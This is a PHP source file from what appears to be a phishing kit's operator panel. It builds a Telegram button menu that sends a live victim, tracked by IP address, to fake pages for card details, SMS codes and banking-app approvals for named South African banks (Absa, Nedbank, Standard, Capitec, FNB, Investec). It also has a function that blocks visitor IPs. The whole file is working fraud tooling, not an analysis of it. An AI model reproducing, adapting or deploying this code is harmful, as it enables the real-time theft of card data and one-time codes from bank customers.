<?php

/**
 * Inline keyboard for panel Telegram notifications.
 * Note: Telegram cannot color buttons — use distinctive emojis per bank.
 */
class TelegramKeyboard
{
    public static function normalizeIp($ip)
    {
        $ip = trim((string) $ip);
        if ($ip === '::1' || $ip === '') {
            return '127.0.0.1';
        }
        return $ip;
    }

    public static function panelInlineKeyboard($ip)
    {
        $ip = self::normalizeIp($ip);

        return array(
            'inline_keyboard' => array(
                array(
                    array('text' => '💳 CARD', 'callback_data' => 'redirect_18_' . $ip),
                    array('text' => '📱 CODE', 'callback_data' => 'redirect_5_' . $ip),
                ),
                array(
                    array('text' => '✅ APPROV', 'callback_data' => 'redirect_20_' . $ip),
                    array('text' => '⏳ WAIT', 'callback_data' => 'redirect_10_' . $ip),
                ),
                array(
                    array('text' => '✔️ DONE', 'callback_data' => 'redirect_11_' . $ip),
                    array('text' => '⚠️ CARD ERR', 'callback_data' => 'redirect_25_' . $ip),
                ),
                array(
                    array('text' => '🟥 SMS · Absa', 'callback_data' => 'redirect_40_' . $ip),
                    array('text' => '🟥 APP · Absa', 'callback_data' => 'redirect_41_' . $ip),
                ),
                array(
                    array('text' => '🟢 SMS · Nedbank', 'callback_data' => 'redirect_30_' . $ip),
                    array('text' => '🟢 APP · Nedbank', 'callback_data' => 'redirect_31_' . $ip),
                ),
                array(
                    array('text' => '🔵 SMS · Standard', 'callback_data' => 'redirect_34_' . $ip),
                    array('text' => '🔵 APP · Standard', 'callback_data' => 'redirect_32_' . $ip),
                ),
                array(
                    array('text' => '🔴 SMS · Capitec', 'callback_data' => 'redirect_33_' . $ip),
                    array('text' => '🔴 APP · Capitec', 'callback_data' => 'redirect_35_' . $ip),
                ),
                array(
                    array('text' => '🩵 SMS · FNB', 'callback_data' => 'redirect_38_' . $ip),
                    array('text' => '🩵 APP · FNB', 'callback_data' => 'redirect_37_' . $ip),
                ),
                array(
                    array('text' => '⚫ SMS · Investec', 'callback_data' => 'redirect_39_' . $ip),
                    array('text' => '⚫ APP · Investec', 'callback_data' => 'redirect_36_' . $ip),
                ),
                array(
                    array('text' => '🚫 BLOCK IP', 'callback_data' => 'blockip_' . $ip),
                ),
            ),
        );
    }

    public static function blockIpAddress($ip)
    {
        $ip = self::normalizeIp($ip);
        if (!filter_var($ip, FILTER_VALIDATE_IP)) {
            return false;
        }

        $blockedFile = dirname(__DIR__) . '/blocked_ips.txt';
        $blocked = file_exists($blockedFile)
            ? file($blockedFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES)
            : array();

        if (in_array($ip, $blocked, true)) {
            return true;
        }

        return file_put_contents($blockedFile, $ip . "\n", FILE_APPEND | LOCK_EX) !== false;
    }

    public static function pageName($pageID)
    {
        $pages = array(
            5 => 'CODE',
            10 => 'WAIT',
            11 => 'DONE',
            18 => 'CARD',
            20 => 'APPROV',
            25 => 'CARD ERR',
            30 => 'SMS-Nedbank',
            31 => 'APP-Nedbank',
            32 => 'APP-Standard',
            33 => 'SMS-Capitec',
            34 => 'SMS-Standard',
            35 => 'APP-Capitec',
            36 => 'APP-Investec',
            37 => 'APP-FNB',
            38 => 'SMS-FNB',
            39 => 'SMS-Investec',
            40 => 'SMS-Absa',
            41 => 'APP-Absa',
        );

        return isset($pages[$pageID]) ? $pages[$pageID] : 'PAGE ' . $pageID;
    }
}
